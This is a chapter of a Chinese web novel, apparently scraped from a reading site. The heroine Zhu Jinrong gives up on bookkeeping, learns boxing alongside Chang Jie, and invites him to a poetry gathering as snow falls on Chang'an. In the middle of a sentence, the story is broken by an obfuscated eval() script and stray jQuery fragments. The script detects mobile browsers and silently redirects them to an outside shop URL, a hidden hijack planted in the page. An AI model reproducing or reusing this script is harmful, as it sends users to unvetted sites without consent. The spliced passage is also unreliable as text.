81. 座雪狮子
    眼见新年逼近,族学也停了课,朱槿荣也得了空闲,唯恐她整天无所事事,又怕她惹出什么事情来,风母见朱槿荣如此,于是叫上她,一并学着处理府中的庶务,这搞得朱槿荣看见账本子和算盘子都头疼。

    那各个庄子、各个店铺等等收拾来的账本是厚厚的一沓,送去交际的礼单又是厚厚的一沓,再加之府中的各项支出,就是算不玩的帐,这些原本应该由账房先生办的工作,即便一沓一沓整理出来,汇总起来让朱槿荣再看,那也是不少的一堆事务,她算盘珠子都打出了火星,算了几天,还是没有整理明白。

    “不看了不看了!这有个穷尽没有?谁家死了人支银子都要一一核验,这家可真不好当!”朱槿荣一掌拍在案牍之上,愤愤不平的站起来了身,“我坐不住了,我要出去透透气。”

    那善怜儿原本是要哄着朱槿荣继续看,此刻见她态度坚决,也不好意思再劝,只道,“那便出去走走吧,换换心情,这管家理事也不是一天能学好的。”

    说是出去走走,朱槿荣其实也没去哪里,就是灵机一动去了常捷处。

    朱槿荣见常捷文韬武略无一不精,是个全才,对他早起了拉拢的心思,但拥有和她一样心思的,除了她朱槿荣,还有朱校、朱桥、朱栖,甚至还要包括学社中的同学,唯独朱桃不在其中,她的话说的好,“人人都抢着要的香馍馍,我又何必削尖了脑袋去抢,再说大姐姐得到了,和我得到了是一样的”,听了这话,朱槿荣也只得无语。

    人人都有一个英雄梦,常捷无疑是将英雄梦做成真的那一种,从未见他倦怠过学习,他也仿佛有无穷尽的探知欲,去面对一切。

    他被朱承柔安排在朱槿荣居所的附近,距离校场甚近,也方便他骑马练武。

    “大姐儿,慢点慢点!”善怜儿在后面追着,朱槿荣却撒丫子开始跑了,甩出她几里地。

    朱槿荣在自己家也不拘于什么排场,于是舍了轿子轻撵,自己带着善怜儿,就往常捷处走去,权当锻炼身体了。

    常捷不喜别人服侍,风母被他一再拒绝也不好安排人手,也只能由着他,那随着常捷来到朱家投奔的小厮和他住在一起,服侍他的衣食住行。

    此刻天正亮堂,常捷不在屋子里看书,此刻正在校场习武,那小厮不知道去了何处,徒留他一人和朱承柔手下的马弁练习拳法。

    卫将军府的马弁担任着护卫卫将军的职责,自然是有几分真武功傍身,马弁名叫蒙川骛,身材异常高大,就像熊豹一样,他也是蒙家拳的传人。

    蒙川骛见常捷天资聪颖,于是毫不吝啬的将家传武功相传。

    只见校场上,那常捷着了一身皂色练功服和那蒙川骛你来我往,手里脚下推演着拳法。

    蒙家拳的刚烈迅猛溢于言表,令朱槿荣看了许久,简直是看入了迷,待两人休息的片刻,她忍不住抚掌,“好拳法!好拳法!”

    蒙川骛看见朱槿荣那样,忍不住笑了,“小姐可也要随我一起练功?这蒙家拳外刚内柔,女子也并非不可修习,多会点武功,也好保护自身。”

    蒙川骛这话让朱槿荣臊得紧,看来朱槿荣的光荣事迹已经传遍了朱府上下了,就连这马弁也知晓了,但她此刻也乐得学拳,“那我就不客气了,请老师教我!”

    朱槿荣在学社也跟随老师学武,武学基础不在话下,见那蒙川骛打了一段拳,便照猫画虎的练了起来,也算有模有样。

    朱槿荣跟随蒙川骛练了一会儿,只觉一团热气自丹田升腾而起,也慢慢地领略到了这蒙家拳的精妙之处,一时间竟然不觉时光飞逝,只练到胳膊腿脚酸疼方止。

    那常捷在屋廊下休息,善怜儿为他沏了茶水,她看着打拳的两人,又为打拳的两人倒了两杯。

    朱槿荣的纨绔之名响彻长安城,但这人偏偏有时候又变了性情,让人颇有云里雾里之感,常捷自然知晓她是来寻他的,就是不明白有什么事情值得她亲自跑一趟,他也不好问善怜儿,只得自己猜想。

    教了一会儿,师傅和徒弟具是疲惫,便要歇息一会儿,那蒙川骛牛饮了茶水在休息,对两人的进步多有赞叹。

    “小姐可比外在看着坚实多了,拳打得也不差,只要多加练习,定能学有所成。”蒙川骛鼓励朱槿荣道,那话语甚是诚恳,也让朱槿荣怪不好意思的。

    “还是师傅教的好,我的功夫比起常捷差远了,还是要努力。”她话语如此谦卑,蒙川骛也了然,幸亏没有夸几句就飘到天上去。

    蒙川骛交代两人多多练习拳法,看时间不早了,也推脱有事,自行告辞了。

    “你们两人都要勤加练习,武功在于勤,勤方能成器,这时间不早了,我另有庶务要处理,也就告辞了。”

    师傅要走,徒弟即便不好意思挽留,依礼也是要相送的,何况常捷一向是重礼的人,更是在蒙川骛的一再拒绝下,送到了门外。

    两人目送蒙川骛的黑马扬尘而去,身影渐渐成了一点黑迹,常捷才问朱槿荣有何贵干。

    “不知你找我何事?”常捷问道,总不能是又有了是非,想要找他当打手吧?

    “你一人在府中也是无聊,我的朋友办了一个诗词会,我想邀你和我一起赴会。”朱槿荣索性直言,笑眯眯的陈情。

    祝今的疯病莫名其妙的好了后,她毫不客气的开始了在京畿的交际,仿佛要将前十几年的功夫一朝补齐,她在各种赛事都有出现,打马球、蹴鞠、斗鸡、赛狗等等,仿佛有无穷尽的精力。她更是花费了巨大的精力结交各界名流和贵族子弟,她举办的诗词会不是一两天的事情,每逢每个月的二十五日都要举办,再加之她出手阔绰,索性包了花萼楼以做场所之用。

    如朱槿荣所料不差,这常捷的确

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354394|140658||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是一个老好人,是极不擅长拒绝别人的那种,她这样说,常捷觉得去了也并不不妥,所以欣然应许。

    朱槿荣、常捷、善怜儿三人又回到了马厩,准备骑马而去,这时间却不凑巧,这天空开始落雪,飘飘洒洒的像是柳絮因风而起一样,四周恍若蓬莱仙境,但好在这雪并不大。

    “坐马车去吧,这雪下得真不是时候,话说回来,今年的雪比往年多多了,几乎每个月都要下几天应应景。”朱槿荣伸出手遮挡眉眼,有点不悦的说道,她一向喜欢骑马超过马车代步,自觉被扰了兴致。

    常捷却似乎若有所思,他抬头看向飘雪的天空,“长安果然是天府之国,冬天的气候还是暖和,雪下得不大,你没见辽东的大雪,鹅毛似的,一天时间能下到人的腰间。”

    因为没有,所以弥足珍贵。这长安城的雪,无论第一天下得如何的大,只要第二天一升温,立马就会消融,所以长安城以堆雪狮子为风尚,看谁家的雪狮子堆的大,存放的时间长,就连朱府也不例外,在门口放着两个雪狮子,胸口带着大红花应景。

    常捷这话出口,让朱槿荣笑了,“那一定很好玩,堆的雪狮子寻常不会融化,大家可以尽情发挥。”

    她的前世何尝没见过东北的大雪,那是铺天盖地的光景,只是这朱槿荣没去过,也不好信口胡说。

    “青玉案前呵冻手,推窗自塑雪狮儿。”常捷引用了一句诗词,有些话还是忍不住出口,“辽东冬季严寒,人们这个时候大多在猫冬,忧愁没有粮食吃,没有柴火烧。”

    在这个时代,东北还没有被开垦,依旧还是漫漫无际的北大荒。

    两个人再谈下去就要涉及商国大政了,朱槿荣还想再说些什么,常捷却自知失言,恐怕扫了朱槿荣的兴致。

    常捷虽然是商国贵族,却因为商帝昏聩而被迫远走他国,寄人篱下,即便他是乐观的人,也难免触景生情了。

    如今老父已经黯然病逝,生怕他卷进朝堂纷争,留的绝笔信里,只留给了他一匹老马,催促他保全自身,以图他日……

    朱槿荣发觉了常捷那不留痕迹的落寞,也与他共情了,在他这个年龄,已经足够上阵建功立业了,可却因为种种原因,被迫远离家乡,夙愿不得已实现。

    这人治的时代,明君的存在是人们心之所求,可哪里有那么多明君呢?争权夺利者都有私心,滥用国之重器!

    朱槿荣岂不会知这些,她又道,“这各国的风土人情都是不同,但大抵美好的愿景都是一样的。”

    “今天也别想那些不开心的事情了,你来了长安,自然要体验一番长安的风土人情,以后,算我做东!带你游遍长安!”朱槿荣故作豪迈,她这样子惹得善怜儿莞尔一笑。

    善怜儿也说道,“公子到底是远离家乡,难免想家了,多看看新鲜事,也就抵消那思乡之苦了。”